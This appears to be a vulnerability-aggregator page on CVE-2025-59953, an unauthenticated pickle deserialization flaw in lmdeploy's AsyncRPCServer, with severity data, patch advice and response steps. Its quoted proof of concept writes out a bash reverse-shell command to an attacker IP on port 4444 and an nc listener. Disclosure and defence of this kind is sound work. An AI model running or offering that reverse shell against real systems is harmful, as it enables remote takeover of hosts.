Unsafe Deserialization in lmdeploy (CVE-2025-59953)
Summary
Vulnerability in lmdeploy (CVE-2025-59953). Successful exploitation can lead to full system takeover. Exploitable via AsyncRPCServer. Mitigation: upgrade to 0.10.2 or later.
Original description
The description as published by the source.
Description
The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.
Proof of Concept
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Step1:
The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py. -
Step2:
The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell:
In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server.
Two points require special attention:
1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP.
2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.
- Step3:
Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then,…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-59953 has been found in lmdeploy.
Attackers can target a specific entry point like AsyncRPCServer over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 9.8/10.
What to do: upgrade lmdeploy to 0.10.2 or later.
If unsure, ask your IT team or search "lmdeploy CVE-2025-59953" on the vendor's site.
CVE-2025-59953 (lmdeploy) — CWE-502 / CVSS v3 9.8
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: AsyncRPCServer
Patched: 0.10.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Unsafe deserialization (CWE-502) exists in lmdeploy. Attackers reach the vulnerable code path via AsyncRPCServer without authentication.
Check the vendor advisory for the affected versions of lmdeploy. Attack surface: AsyncRPCServer.
Severity: Critical (CVSS 9.8/10). Successful exploitation can lead to full system takeover.
Update to 0.10.2.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'lmdeploy' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
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1Identify exposure identify
grep -r 'lmdeploy' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
lmdeployを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade lmdeploy to 0.10.2ステージング環境で 0.10.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
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3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- web security-advisories@github.com
- web github.com
- web nvd.nist.gov
- web github.com
- web github.com